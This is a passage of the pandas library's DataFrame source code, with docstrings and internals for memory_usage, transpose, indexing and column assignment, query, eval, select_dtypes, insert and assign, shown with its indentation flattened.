the index is the first item in the output.
deep : bool, default False
If True, introspect the data deeply by interrogating
`object` dtypes for system-level memory consumption, and include
it in the returned values.
Returns
-------
Series
A Series whose index is the original column names and whose values
is the memory usage of each column in bytes.
See Also
--------
numpy.ndarray.nbytes : Total bytes consumed by the elements of an
ndarray.
Series.memory_usage : Bytes consumed by a Series.
Categorical : Memory-efficient array for string values with
many repeated values.
DataFrame.info : Concise summary of a DataFrame.
Examples
--------
>>> dtypes = ['int64', 'float64', 'complex128', 'object', 'bool']
>>> data = dict([(t, np.ones(shape=5000, dtype=int).astype(t))
... for t in dtypes])
>>> df = pd.DataFrame(data)
>>> df.head()
int64 float64 complex128 object bool
0 1 1.0 1.0+0.0j 1 True
1 1 1.0 1.0+0.0j 1 True
2 1 1.0 1.0+0.0j 1 True
3 1 1.0 1.0+0.0j 1 True
4 1 1.0 1.0+0.0j 1 True
>>> df.memory_usage()
Index 128
int64 40000
float64 40000
complex128 80000
object 40000
bool 5000
dtype: int64
>>> df.memory_usage(index=False)
int64 40000
float64 40000
complex128 80000
object 40000
bool 5000
dtype: int64
The memory footprint of `object` dtype columns is ignored by default:
>>> df.memory_usage(deep=True)
Index 128
int64 40000
float64 40000
complex128 80000
object 180000
bool 5000
dtype: int64
Use a Categorical for efficient storage of an object-dtype column with
many repeated values.
>>> df['object'].astype('category').memory_usage(deep=True)
5244
"""
result = self._constructor_sliced(
[c.memory_usage(index=False, deep=deep) for col, c in self.items()],
index=self.columns,
)
if index:
index_memory_usage = self._constructor_sliced(
self.index.memory_usage(deep=deep), index=["Index"]
)
result = index_memory_usage._append(result)
return result
def transpose(self, *args, copy: bool = False) -> DataFrame:
"""
Transpose index and columns.
Reflect the DataFrame over its main diagonal by writing rows as columns
and vice-versa. The property :attr:`.T` is an accessor to the method
:meth:`transpose`.
Parameters
----------
*args : tuple, optional
Accepted for compatibility with NumPy.
copy : bool, default False
Whether to copy the data after transposing, even for DataFrames
with a single dtype.
Note that a copy is always required for mixed dtype DataFrames,
or for DataFrames with any extension types.
Returns
-------
DataFrame
The transposed DataFrame.
See Also
--------
numpy.transpose : Permute the dimensions of a given array.
Notes
-----
Transposing a DataFrame with mixed dtypes will result in a homogeneous
DataFrame with the `object` dtype. In such a case, a copy of the data
is always made.
Examples
--------
**Square DataFrame with homogeneous dtype**
>>> d1 = {'col1': [1, 2], 'col2': [3, 4]}
>>> df1 = pd.DataFrame(data=d1)
>>> df1
col1 col2
0 1 3
1 2 4
>>> df1_transposed = df1.T # or df1.transpose()
>>> df1_transposed
0 1
col1 1 2
col2 3 4
When the dtype is homogeneous in the original DataFrame, we get a
transposed DataFrame with the same dtype:
>>> df1.dtypes
col1 int64
col2 int64
dtype: object
>>> df1_transposed.dtypes
0 int64
1 int64
dtype: object
**Non-square DataFrame with mixed dtypes**
>>> d2 = {'name': ['Alice', 'Bob'],
... 'score': [9.5, 8],
... 'employed': [False, True],
... 'kids': [0, 0]}
>>> df2 = pd.DataFrame(data=d2)
>>> df2
name score employed kids
0 Alice 9.5 False 0
1 Bob 8.0 True 0
>>> df2_transposed = df2.T # or df2.transpose()
>>> df2_transposed
0 1
name Alice Bob
score 9.5 8.0
employed False True
kids 0 0
When the DataFrame has mixed dtypes, we get a transposed DataFrame with
the `object` dtype:
>>> df2.dtypes
name object
score float64
employed bool
kids int64
dtype: object
>>> df2_transposed.dtypes
0 object
1 object
dtype: object
"""
nv.validate_transpose(args, {})
# construct the args
dtypes = list(self.dtypes)
if self._can_fast_transpose:
# Note: tests pass without this, but this improves perf quite a bit.
new_vals = self._values.T
if copy:
new_vals = new_vals.copy()
result = self._constructor(new_vals, index=self.columns, columns=self.index)
elif (
self._is_homogeneous_type and dtypes and is_extension_array_dtype(dtypes[0])
):
# We have EAs with the same dtype. We can preserve that dtype in transpose.
dtype = dtypes[0]
arr_type = dtype.construct_array_type()
values = self.values
new_values = [arr_type._from_sequence(row, dtype=dtype) for row in values]
result = type(self)._from_arrays(
new_values, index=self.columns, columns=self.index
)
else:
new_arr = self.values.T
if copy:
new_arr = new_arr.copy()
result = self._constructor(new_arr, index=self.columns, columns=self.index)
return result.__finalize__(self, method="transpose")
@property
def T(self) -> DataFrame:
return self.transpose()
# ----------------------------------------------------------------------
# Indexing Methods
def _ixs(self, i: int, axis: int = 0):
"""
Parameters
----------
i : int
axis : int
Notes
-----
If slice passed, the resulting data will be a view.
"""
# irow
if axis == 0:
new_values = self._mgr.fast_xs(i)
# if we are a copy, mark as such
copy = isinstance(new_values, np.ndarray) and new_values.base is None
result = self._constructor_sliced(
new_values,
index=self.columns,
name=self.index[i],
dtype=new_values.dtype,
)
result._set_is_copy(self, copy=copy)
return result
# icol
else:
label = self.columns[i]
col_mgr = self._mgr.iget(i)
result = self._box_col_values(col_mgr, i)
# this is a cached value, mark it so
result._set_as_cached(label, self)
return result
def _get_column_array(self, i: int) -> ArrayLike:
"""
Get the values of the i'th column (ndarray or ExtensionArray, as stored
in the Block)
"""
return self._mgr.iget_values(i)
def _iter_column_arrays(self) -> Iterator[ArrayLike]:
"""
Iterate over the arrays of all columns in order.
This returns the values as stored in the Block (ndarray or ExtensionArray).
"""
for i in range(len(self.columns)):
yield self._get_column_array(i)
def __getitem__(self, key):
check_deprecated_indexers(key)
key = lib.item_from_zerodim(key)
key = com.apply_if_callable(key, self)
if is_hashable(key) and not is_iterator(key):
# is_iterator to exclude generator e.g. test_getitem_listlike
# shortcut if the key is in columns
if self.columns.is_unique and key in self.columns:
if isinstance(self.columns, MultiIndex):
return self._getitem_multilevel(key)
return self._get_item_cache(key)
# Do we have a slicer (on rows)?
indexer = convert_to_index_sliceable(self, key)
if indexer is not None:
if isinstance(indexer, np.ndarray):
indexer = lib.maybe_indices_to_slice(
indexer.astype(np.intp, copy=False), len(self)
)
if isinstance(indexer, np.ndarray):
# GH#43223 If we can not convert, use take
return self.take(indexer, axis=0)
# either we have a slice or we have a string that can be converted
# to a slice for partial-string date indexing
return self._slice(indexer, axis=0)
# Do we have a (boolean) DataFrame?
if isinstance(key, DataFrame):
return self.where(key)
# Do we have a (boolean) 1d indexer?
if com.is_bool_indexer(key):
return self._getitem_bool_array(key)
# We are left with two options: a single key, and a collection of keys,
# We interpret tuples as collections only for non-MultiIndex
is_single_key = isinstance(key, tuple) or not is_list_like(key)
if is_single_key:
if self.columns.nlevels > 1:
return self._getitem_multilevel(key)
indexer = self.columns.get_loc(key)
if is_integer(indexer):
indexer = [indexer]
else:
if is_iterator(key):
key = list(key)
indexer = self.columns._get_indexer_strict(key, "columns")[1]
# take() does not accept boolean indexers
if getattr(indexer, "dtype", None) == bool:
indexer = np.where(indexer)[0]
data = self._take_with_is_copy(indexer, axis=1)
if is_single_key:
# What does looking for a single key in a non-unique index return?
# The behavior is inconsistent. It returns a Series, except when
# - the key itself is repeated (test on data.shape, #9519), or
# - we have a MultiIndex on columns (test on self.columns, #21309)
if data.shape[1] == 1 and not isinstance(self.columns, MultiIndex):
# GH#26490 using data[key] can cause RecursionError
return data._get_item_cache(key)
return data
def _getitem_bool_array(self, key):
# also raises Exception if object array with NA values
# warning here just in case -- previously __setitem__ was
# reindexing but __getitem__ was not; it seems more reasonable to
# go with the __setitem__ behavior since that is more consistent
# with all other indexing behavior
if isinstance(key, Series) and not key.index.equals(self.index):
warnings.warn(
"Boolean Series key will be reindexed to match DataFrame index.",
UserWarning,
stacklevel=find_stack_level(),
)
elif len(key) != len(self.index):
raise ValueError(
f"Item wrong length {len(key)} instead of {len(self.index)}."
)
# check_bool_indexer will throw exception if Series key cannot
# be reindexed to match DataFrame rows
key = check_bool_indexer(self.index, key)
indexer = key.nonzero()[0]
return self._take_with_is_copy(indexer, axis=0)
def _getitem_multilevel(self, key):
# self.columns is a MultiIndex
loc = self.columns.get_loc(key)
if isinstance(loc, (slice, np.ndarray)):
new_columns = self.columns[loc]
result_columns = maybe_droplevels(new_columns, key)
if self._is_mixed_type:
result = self.reindex(columns=new_columns)
result.columns = result_columns
else:
new_values = self.values[:, loc]
result = self._constructor(
new_values, index=self.index, columns=result_columns
)
result = result.__finalize__(self)
# If there is only one column being returned, and its name is
# either an empty string, or a tuple with an empty string as its
# first element, then treat the empty string as a placeholder
# and return the column as if the user had provided that empty
# string in the key. If the result is a Series, exclude the
# implied empty string from its name.
if len(result.columns) == 1:
top = result.columns[0]
if isinstance(top, tuple):
top = top[0]
if top == "":
result = result[""]
if isinstance(result, Series):
result = self._constructor_sliced(
result, index=self.index, name=key
)
result._set_is_copy(self)
return result
else:
# loc is neither a slice nor ndarray, so must be an int
return self._ixs(loc, axis=1)
def _get_value(self, index, col, takeable: bool = False) -> Scalar:
"""
Quickly retrieve single value at passed column and index.
Parameters
----------
index : row label
col : column label
takeable : interpret the index/col as indexers, default False
Returns
-------
scalar
Notes
-----
Assumes that both `self.index._index_as_unique` and
`self.columns._index_as_unique`; Caller is responsible for checking.
"""
if takeable:
series = self._ixs(col, axis=1)
return series._values[index]
series = self._get_item_cache(col)
engine = self.index._engine
if not isinstance(self.index, MultiIndex):
# CategoricalIndex: Trying to use the engine fastpath may give incorrect
# results if our categories are integers that dont match our codes
# IntervalIndex: IntervalTree has no get_loc
row = self.index.get_loc(index)
return series._values[row]
# For MultiIndex going through engine effectively restricts us to
# same-length tuples; see test_get_set_value_no_partial_indexing
loc = engine.get_loc(index)
return series._values[loc]
def __setitem__(self, key, value):
key = com.apply_if_callable(key, self)
# see if we can slice the rows
indexer = convert_to_index_sliceable(self, key)
if indexer is not None:
# either we have a slice or we have a string that can be converted
# to a slice for partial-string date indexing
return self._setitem_slice(indexer, value)
if isinstance(key, DataFrame) or getattr(key, "ndim", None) == 2:
self._setitem_frame(key, value)
elif isinstance(key, (Series, np.ndarray, list, Index)):
self._setitem_array(key, value)
elif isinstance(value, DataFrame):
self._set_item_frame_value(key, value)
elif (
is_list_like(value)
and not self.columns.is_unique
and 1 < len(self.columns.get_indexer_for([key])) == len(value)
):
# Column to set is duplicated
self._setitem_array([key], value)
else:
# set column
self._set_item(key, value)
def _setitem_slice(self, key: slice, value):
# NB: we can't just use self.loc[key] = value because that
# operates on labels and we need to operate positional for
# backwards-compat, xref GH#31469
self._check_setitem_copy()
self.iloc[key] = value
def _setitem_array(self, key, value):
# also raises Exception if object array with NA values
if com.is_bool_indexer(key):
# bool indexer is indexing along rows
if len(key) != len(self.index):
raise ValueError(
f"Item wrong length {len(key)} instead of {len(self.index)}!"
)
key = check_bool_indexer(self.index, key)
indexer = key.nonzero()[0]
self._check_setitem_copy()
if isinstance(value, DataFrame):
# GH#39931 reindex since iloc does not align
value = value.reindex(self.index.take(indexer))
self.iloc[indexer] = value
else:
# Note: unlike self.iloc[:, indexer] = value, this will
# never try to overwrite values inplace
if isinstance(value, DataFrame):
check_key_length(self.columns, key, value)
for k1, k2 in zip(key, value.columns):
self[k1] = value[k2]
elif not is_list_like(value):
for col in key:
self[col] = value
elif isinstance(value, np.ndarray) and value.ndim == 2:
self._iset_not_inplace(key, value)
elif np.ndim(value) > 1:
# list of lists
value = DataFrame(value).values
return self._setitem_array(key, value)
else:
self._iset_not_inplace(key, value)
def _iset_not_inplace(self, key, value):
# GH#39510 when setting with df[key] = obj with a list-like key and
# list-like value, we iterate over those listlikes and set columns
# one at a time. This is different from dispatching to
# `self.loc[:, key]= value` because loc.__setitem__ may overwrite
# data inplace, whereas this will insert new arrays.
def igetitem(obj, i: int):
# Note: we catch DataFrame obj before getting here, but
# hypothetically would return obj.iloc[:, i]
if isinstance(obj, np.ndarray):
return obj[..., i]
else:
return obj[i]
if self.columns.is_unique:
if np.shape(value)[-1] != len(key):
raise ValueError("Columns must be same length as key")
for i, col in enumerate(key):
self[col] = igetitem(value, i)
else:
ilocs = self.columns.get_indexer_non_unique(key)[0]
if (ilocs < 0).any():
# key entries not in self.columns
raise NotImplementedError
if np.shape(value)[-1] != len(ilocs):
raise ValueError("Columns must be same length as key")
assert np.ndim(value) <= 2
orig_columns = self.columns
# Using self.iloc[:, i] = ... may set values inplace, which
# by convention we do not do in __setitem__
try:
self.columns = Index(range(len(self.columns)))
for i, iloc in enumerate(ilocs):
self[iloc] = igetitem(value, i)
finally:
self.columns = orig_columns
def _setitem_frame(self, key, value):
# support boolean setting with DataFrame input, e.g.
# df[df > df2] = 0
if isinstance(key, np.ndarray):
if key.shape != self.shape:
raise ValueError("Array conditional must be same shape as self")
key = self._constructor(key, **self._construct_axes_dict())
if key.size and not is_bool_dtype(key.values):
raise TypeError(
"Must pass DataFrame or 2-d ndarray with boolean values only"
)
self._check_inplace_setting(value)
self._check_setitem_copy()
self._where(-key, value, inplace=True)
def _set_item_frame_value(self, key, value: DataFrame) -> None:
self._ensure_valid_index(value)
# align columns
if key in self.columns:
loc = self.columns.get_loc(key)
cols = self.columns[loc]
len_cols = 1 if is_scalar(cols) else len(cols)
if len_cols != len(value.columns):
raise ValueError("Columns must be same length as key")
# align right-hand-side columns if self.columns
# is multi-index and self[key] is a sub-frame
if isinstance(self.columns, MultiIndex) and isinstance(
loc, (slice, Series, np.ndarray, Index)
):
cols = maybe_droplevels(cols, key)
if len(cols) and not cols.equals(value.columns):
value = value.reindex(cols, axis=1)
# now align rows
arraylike = _reindex_for_setitem(value, self.index)
self._set_item_mgr(key, arraylike)
def _iset_item_mgr(
self, loc: int | slice | np.ndarray, value, inplace: bool = False
) -> None:
# when called from _set_item_mgr loc can be anything returned from get_loc
self._mgr.iset(loc, value, inplace=inplace)
self._clear_item_cache()
def _set_item_mgr(self, key, value: ArrayLike) -> None:
try:
loc = self._info_axis.get_loc(key)
except KeyError:
# This item wasn't present, just insert at end
self._mgr.insert(len(self._info_axis), key, value)
else:
self._iset_item_mgr(loc, value)
# check if we are modifying a copy
# try to set first as we want an invalid
# value exception to occur first
if len(self):
self._check_setitem_copy()
def _iset_item(self, loc: int, value) -> None:
arraylike = self._sanitize_column(value)
self._iset_item_mgr(loc, arraylike, inplace=True)
# check if we are modifying a copy
# try to set first as we want an invalid
# value exception to occur first
if len(self):
self._check_setitem_copy()
def _set_item(self, key, value) -> None:
"""
Add series to DataFrame in specified column.
If series is a numpy-array (not a Series/TimeSeries), it must be the
same length as the DataFrames index or an error will be thrown.
Series/TimeSeries will be conformed to the DataFrames index to
ensure homogeneity.
"""
value = self._sanitize_column(value)
if (
key in self.columns
and value.ndim == 1
and not is_extension_array_dtype(value)
):
# broadcast across multiple columns if necessary
if not self.columns.is_unique or isinstance(self.columns, MultiIndex):
existing_piece = self[key]
if isinstance(existing_piece, DataFrame):
value = np.tile(value, (len(existing_piece.columns), 1)).T
self._set_item_mgr(key, value)
def _set_value(
self, index: IndexLabel, col, value: Scalar, takeable: bool = False
) -> None:
"""
Put single value at passed column and index.
Parameters
----------
index : Label
row label
col : Label
column label
value : scalar
takeable : bool, default False
Sets whether or not index/col interpreted as indexers
"""
try:
if takeable:
series = self._ixs(col, axis=1)
loc = index
else:
series = self._get_item_cache(col)
loc = self.index.get_loc(index)
# setitem_inplace will do validation that may raise TypeError
# or ValueError
series._mgr.setitem_inplace(loc, value)
except (KeyError, TypeError, ValueError):
# set using a non-recursive method & reset the cache
if takeable:
self.iloc[index, col] = value
else:
self.loc[index, col] = value
self._item_cache.pop(col, None)
def _ensure_valid_index(self, value) -> None:
"""
Ensure that if we don't have an index, that we can create one from the
passed value.
"""
# GH5632, make sure that we are a Series convertible
if not len(self.index) and is_list_like(value) and len(value):
if not isinstance(value, DataFrame):
try:
value = Series(value)
except (ValueError, NotImplementedError, TypeError) as err:
raise ValueError(
"Cannot set a frame with no defined index "
"and a value that cannot be converted to a Series"
) from err
# GH31368 preserve name of index
index_copy = value.index.copy()
if self.index.name is not None:
index_copy.name = self.index.name
self._mgr = self._mgr.reindex_axis(index_copy, axis=1, fill_value=np.nan)
def _box_col_values(self, values: SingleDataManager, loc: int) -> Series:
"""
Provide boxed values for a column.
"""
# Lookup in columns so that if e.g. a str datetime was passed
# we attach the Timestamp object as the name.
name = self.columns[loc]
klass = self._constructor_sliced
# We get index=self.index bc values is a SingleDataManager
return klass(values, name=name, fastpath=True).__finalize__(self)
# ----------------------------------------------------------------------
# Lookup Caching
def _clear_item_cache(self) -> None:
self._item_cache.clear()
def _get_item_cache(self, item: Hashable) -> Series:
"""Return the cached item, item represents a label indexer."""
cache = self._item_cache
res = cache.get(item)
if res is None:
# All places that call _get_item_cache have unique columns,
# pending resolution of GH#33047
loc = self.columns.get_loc(item)
res = self._ixs(loc, axis=1)
cache[item] = res
# for a chain
res._is_copy = self._is_copy
return res
def _reset_cacher(self) -> None:
# no-op for DataFrame
pass
def _maybe_cache_changed(self, item, value: Series, inplace: bool) -> None:
"""
The object has called back to us saying maybe it has changed.
"""
loc = self._info_axis.get_loc(item)
arraylike = value._values
old = self._ixs(loc, axis=1)
if old._values is value._values and inplace:
# GH#46149 avoid making unnecessary copies/block-splitting
return
self._mgr.iset(loc, arraylike, inplace=inplace)
# ----------------------------------------------------------------------
# Unsorted
def query(self, expr: str, inplace: bool = False, **kwargs):
"""
Query the columns of a DataFrame with a boolean expression.
Parameters
----------
expr : str
The query string to evaluate.
You can refer to variables
in the environment by prefixing them with an '@' character like
``@a + b``.
You can refer to column names that are not valid Python variable names
by surrounding them in backticks. Thus, column names containing spaces
or punctuations (besides underscores) or starting with digits must be
surrounded by backticks. (For example, a column named "Area (cm^2)" would
be referenced as ```Area (cm^2)```). Column names which are Python keywords
(like "list", "for", "import", etc) cannot be used.
For example, if one of your columns is called ``a a`` and you want
to sum it with ``b``, your query should be ```a a` + b``.
.. versionadded:: 0.25.0
Backtick quoting introduced.
.. versionadded:: 1.0.0
Expanding functionality of backtick quoting for more than only spaces.
inplace : bool
Whether the query should modify the data in place or return
a modified copy.
**kwargs
See the documentation for :func:`eval` for complete details
on the keyword arguments accepted by :meth:`DataFrame.query`.
Returns
-------
DataFrame or None
DataFrame resulting from the provided query expression or
None if ``inplace=True``.
See Also
--------
eval : Evaluate a string describing operations on
DataFrame columns.
DataFrame.eval : Evaluate a string describing operations on
DataFrame columns.
Notes
-----
The result of the evaluation of this expression is first passed to
:attr:`DataFrame.loc` and if that fails because of a
multidimensional key (e.g., a DataFrame) then the result will be passed
to :meth:`DataFrame.__getitem__`.
This method uses the top-level :func:`eval` function to
evaluate the passed query.
The :meth:`~pandas.DataFrame.query` method uses a slightly
modified Python syntax by default. For example, the ``&`` and ``|``
(bitwise) operators have the precedence of their boolean cousins,
:keyword:`and` and :keyword:`or`. This *is* syntactically valid Python,
however the semantics are different.
You can change the semantics of the expression by passing the keyword
argument ``parser='python'``. This enforces the same semantics as
evaluation in Python space. Likewise, you can pass ``engine='python'``
to evaluate an expression using Python itself as a backend. This is not
recommended as it is inefficient compared to using ``numexpr`` as the
engine.
The :attr:`DataFrame.index` and
:attr:`DataFrame.columns` attributes of the
:class:`~pandas.DataFrame` instance are placed in the query namespace
by default, which allows you to treat both the index and columns of the
frame as a column in the frame.
The identifier ``index`` is used for the frame index; you can also
use the name of the index to identify it in a query. Please note that
Python keywords may not be used as identifiers.
For further details and examples see the ``query`` documentation in
:ref:`indexing <indexing.query>`.
*Backtick quoted variables*
Backtick quoted variables are parsed as literal Python code and
are converted internally to a Python valid identifier.
This can lead to the following problems.
During parsing a number of disallowed characters inside the backtick
quoted string are replaced by strings that are allowed as a Python identifier.
These characters include all operators in Python, the space character, the
question mark, the exclamation mark, the dollar sign, and the euro sign.
For other characters that fall outside the ASCII range (U+0001..U+007F)
and those that are not further specified in PEP 3131,
the query parser will raise an error.
This excludes whitespace different than the space character,
but also the hashtag (as it is used for comments) and the backtick
itself (backtick can also not be escaped).
In a special case, quotes that make a pair around a backtick can
confuse the parser.
For example, ```it's` > `that's``` will raise an error,
as it forms a quoted string (``'s > `that'``) with a backtick inside.
See also the Python documentation about lexical analysis
(https://docs.python.org/3/reference/lexical_analysis.html)
in combination with the source code in :mod:`pandas.core.computation.parsing`.
Examples
--------
>>> df = pd.DataFrame({'A': range(1, 6),
... 'B': range(10, 0, -2),
... 'C C': range(10, 5, -1)})
>>> df
A B C C
0 1 10 10
1 2 8 9
2 3 6 8
3 4 4 7
4 5 2 6
>>> df.query('A > B')
A B C C
4 5 2 6
The previous expression is equivalent to
>>> df[df.A > df.B]
A B C C
4 5 2 6
For columns with spaces in their name, you can use backtick quoting.
>>> df.query('B == `C C`')
A B C C
0 1 10 10
The previous expression is equivalent to
>>> df[df.B == df['C C']]
A B C C
0 1 10 10
"""
inplace = validate_bool_kwarg(inplace, "inplace")
if not isinstance(expr, str):
msg = f"expr must be a string to be evaluated, {type(expr)} given"
raise ValueError(msg)
kwargs["level"] = kwargs.pop("level", 0) + 1
kwargs["target"] = None
res = self.eval(expr, **kwargs)
try:
result = self.loc[res]
except ValueError:
# when res is multi-dimensional loc raises, but this is sometimes a
# valid query
result = self[res]
if inplace:
self._update_inplace(result)
return None
else:
return result
def eval(self, expr: str, inplace: bool = False, **kwargs):
"""
Evaluate a string describing operations on DataFrame columns.
Operates on columns only, not specific rows or elements. This allows
`eval` to run arbitrary code, which can make you vulnerable to code
injection if you pass user input to this function.
Parameters
----------
expr : str
The expression string to evaluate.
inplace : bool, default False
If the expression contains an assignment, whether to perform the
operation inplace and mutate the existing DataFrame. Otherwise,
a new DataFrame is returned.
**kwargs
See the documentation for :func:`eval` for complete details
on the keyword arguments accepted by
:meth:`~pandas.DataFrame.query`.
Returns
-------
ndarray, scalar, pandas object, or None
The result of the evaluation or None if ``inplace=True``.
See Also
--------
DataFrame.query : Evaluates a boolean expression to query the columns
of a frame.
DataFrame.assign : Can evaluate an expression or function to create new
values for a column.
eval : Evaluate a Python expression as a string using various
backends.
Notes
-----
For more details see the API documentation for :func:`~eval`.
For detailed examples see :ref:`enhancing performance with eval
<enhancingperf.eval>`.
Examples
--------
>>> df = pd.DataFrame({'A': range(1, 6), 'B': range(10, 0, -2)})
>>> df
A B
0 1 10
1 2 8
2 3 6
3 4 4
4 5 2
>>> df.eval('A + B')
0 11
1 10
2 9
3 8
4 7
dtype: int64
Assignment is allowed though by default the original DataFrame is not
modified.
>>> df.eval('C = A + B')
A B C
0 1 10 11
1 2 8 10
2 3 6 9
3 4 4 8
4 5 2 7
>>> df
A B
0 1 10
1 2 8
2 3 6
3 4 4
4 5 2
Use ``inplace=True`` to modify the original DataFrame.
>>> df.eval('C = A + B', inplace=True)
>>> df
A B C
0 1 10 11
1 2 8 10
2 3 6 9
3 4 4 8
4 5 2 7
Multiple columns can be assigned to using multi-line expressions:
>>> df.eval(
... '''
... C = A + B
... D = A - B
... '''
... )
A B C D
0 1 10 11 -9
1 2 8 10 -6
2 3 6 9 -3
3 4 4 8 0
4 5 2 7 3
"""
from pandas.core.computation.eval import eval as _eval
inplace = validate_bool_kwarg(inplace, "inplace")
kwargs["level"] = kwargs.pop("level", 0) + 1
index_resolvers = self._get_index_resolvers()
column_resolvers = self._get_cleaned_column_resolvers()
resolvers = column_resolvers, index_resolvers
if "target" not in kwargs:
kwargs["target"] = self
kwargs["resolvers"] = tuple(kwargs.get("resolvers", ())) + resolvers
return _eval(expr, inplace=inplace, **kwargs)
def select_dtypes(self, include=None, exclude=None) -> DataFrame:
"""
Return a subset of the DataFrame's columns based on the column dtypes.
Parameters
----------
include, exclude : scalar or list-like
A selection of dtypes or strings to be included/excluded. At least
one of these parameters must be supplied.
Returns
-------
DataFrame
The subset of the frame including the dtypes in ``include`` and
excluding the dtypes in ``exclude``.
Raises
------
ValueError
* If both of ``include`` and ``exclude`` are empty
* If ``include`` and ``exclude`` have overlapping elements
* If any kind of string dtype is passed in.
See Also
--------
DataFrame.dtypes: Return Series with the data type of each column.
Notes
-----
* To select all *numeric* types, use ``np.number`` or ``'number'``
* To select strings you must use the ``object`` dtype, but note that
this will return *all* object dtype columns
* See the `numpy dtype hierarchy
<https://numpy.org/doc/stable/reference/arrays.scalars.html>`__
* To select datetimes, use ``np.datetime64``, ``'datetime'`` or
``'datetime64'``
* To select timedeltas, use ``np.timedelta64``, ``'timedelta'`` or
``'timedelta64'``
* To select Pandas categorical dtypes, use ``'category'``
* To select Pandas datetimetz dtypes, use ``'datetimetz'`` (new in
0.20.0) or ``'datetime64[ns, tz]'``
Examples
--------
>>> df = pd.DataFrame({'a': [1, 2] * 3,
... 'b': [True, False] * 3,
... 'c': [1.0, 2.0] * 3})
>>> df
a b c
0 1 True 1.0
1 2 False 2.0
2 1 True 1.0
3 2 False 2.0
4 1 True 1.0
5 2 False 2.0
>>> df.select_dtypes(include='bool')
b
0 True
1 False
2 True
3 False
4 True
5 False
>>> df.select_dtypes(include=['float64'])
c
0 1.0
1 2.0
2 1.0
3 2.0
4 1.0
5 2.0
>>> df.select_dtypes(exclude=['int64'])
b c
0 True 1.0
1 False 2.0
2 True 1.0
3 False 2.0
4 True 1.0
5 False 2.0
"""
if not is_list_like(include):
include = (include,) if include is not None else ()
if not is_list_like(exclude):
exclude = (exclude,) if exclude is not None else ()
selection = (frozenset(include), frozenset(exclude))
if not any(selection):
raise ValueError("at least one of include or exclude must be nonempty")
# convert the myriad valid dtypes object to a single representation
def check_int_infer_dtype(dtypes):
converted_dtypes: list[type] = []
for dtype in dtypes:
# Numpy maps int to different types (int32, in64) on Windows and Linux
# see https://github.com/numpy/numpy/issues/9464
if (isinstance(dtype, str) and dtype == "int") or (dtype is int):
converted_dtypes.append(np.int32)
converted_dtypes.append(np.int64)
elif dtype == "float" or dtype is float:
# GH#42452 : np.dtype("float") coerces to np.float64 from Numpy 1.20
converted_dtypes.extend([np.float64, np.float32])
else:
converted_dtypes.append(infer_dtype_from_object(dtype))
return frozenset(converted_dtypes)
include = check_int_infer_dtype(include)
exclude = check_int_infer_dtype(exclude)
for dtypes in (include, exclude):
invalidate_string_dtypes(dtypes)
# can't both include AND exclude!
if not include.isdisjoint(exclude):
raise ValueError(f"include and exclude overlap on {(include & exclude)}")
def dtype_predicate(dtype: DtypeObj, dtypes_set) -> bool:
# GH 46870: BooleanDtype._is_numeric == True but should be excluded
return issubclass(dtype.type, tuple(dtypes_set)) or (
np.number in dtypes_set
and getattr(dtype, "_is_numeric", False)
and not is_bool_dtype(dtype)
)
def predicate(arr: ArrayLike) -> bool:
dtype = arr.dtype
if include:
if not dtype_predicate(dtype, include):
return False
if exclude:
if dtype_predicate(dtype, exclude):
return False
return True
mgr = self._mgr._get_data_subset(predicate).copy()
return type(self)(mgr).__finalize__(self)
def insert(
self,
loc: int,
column: Hashable,
value: Scalar | AnyArrayLike,
allow_duplicates: bool = False,
) -> None:
"""
Insert column into DataFrame at specified location.
Raises a ValueError if `column` is already contained in the DataFrame,
unless `allow_duplicates` is set to True.
Parameters
----------
loc : int
Insertion index. Must verify 0 <= loc <= len(columns).
column : str, number, or hashable object
Label of the inserted column.
value : Scalar, Series, or array-like
allow_duplicates : bool, optional default False
See Also
--------
Index.insert : Insert new item by index.
Examples
--------
>>> df = pd.DataFrame({'col1': [1, 2], 'col2': [3, 4]})
>>> df
col1 col2
0 1 3
1 2 4
>>> df.insert(1, "newcol", [99, 99])
>>> df
col1 newcol col2
0 1 99 3
1 2 99 4
>>> df.insert(0, "col1", [100, 100], allow_duplicates=True)
>>> df
col1 col1 newcol col2
0 100 1 99 3
1 100 2 99 4
Notice that pandas uses index alignment in case of `value` from type `Series`:
>>> df.insert(0, "col0", pd.Series([5, 6], index=[1, 2]))
>>> df
col0 col1 col1 newcol col2
0 NaN 100 1 99 3
1 5.0 100 2 99 4
"""
if allow_duplicates and not self.flags.allows_duplicate_labels:
raise ValueError(
"Cannot specify 'allow_duplicates=True' when "
"'self.flags.allows_duplicate_labels' is False."
)
if not allow_duplicates and column in self.columns:
# Should this be a different kind of error??
raise ValueError(f"cannot insert {column}, already exists")
if not isinstance(loc, int):
raise TypeError("loc must be int")
value = self._sanitize_column(value)
self._mgr.insert(loc, column, value)
def assign(self, **kwargs) -> DataFrame:
r"""
Assign new columns to a DataFrame.
Returns a new object with all original columns in addition to new ones.
Existing columns that are re-assigned will be overwritten.
Parameters
----------
**kwargs : dict of {str: callable or Series}
The column names are keywords. If the values are
callable, they are computed on the DataFrame and
assigned to the new columns. The callable must not
change input DataFrame (though pandas doesn't check it).
If the values are not callable, (e.g. a Series, scalar, or array),
they are simply assigned.
Returns
-------
DataFrame
A new DataFrame with the new columns in addition to
all the existing columns.
Notes
-----
Assigning multiple columns within the same ``assign`` is possible.
Later items in '\*\*kwargs' may refer to newly created or modified
columns in 'df'; items are computed and assigned into 'df' in order.
Examples
--------
>>> df = pd.DataFrame({'temp_c': [17.0, 25.0]},
... index=['Portland', 'Berkeley'])
>>> df
temp_c
Portland 17.0
Berkeley 25.0
Where the value is a callable, evaluated on `df`:
>>> df.assign(temp_f=lambda x: x.temp_c * 9 / 5 + 32)
temp_c temp_f
Portland 17.0 62.6
Berkeley 25.0 77.0
Alternatively, the same behavior can be achieved by directly
referencing an existing Series or sequence:
>>> df.assign(temp_f=df['temp_c'] * 9 / 5 + 32)
temp_c temp_f
Portland 17.0 62.6
Berkeley 25.0 77.0
You can create multiple columns within the same assign where one
of the columns depends on another one defined within the same assign:
>>> df.assign(temp_f=lambda x: x['temp_c'] * 9 / 5 + 32,
... temp_k=lambda x: (x['temp_f'] + 459.67) * 5 / 9)
temp_c temp_f temp_k
Portland 17.0 62.6 290.15
Berkeley 25.0 77.0 298.15
"""
data = self.copy()
for k, v in kwargs.items():
data[k] = com.apply_if_callable(v, data)
return data
def _sanitize_column(self, value) -> ArrayLike:
"""
Ensures new columns (which go into the BlockManager as new blocks) are
always copied and converted into an array.
Parameters
----------
value : scalar, Series, or array-like
Returns
-------
numpy.ndarray or ExtensionArray
"""
self._ensure_valid_index(value)
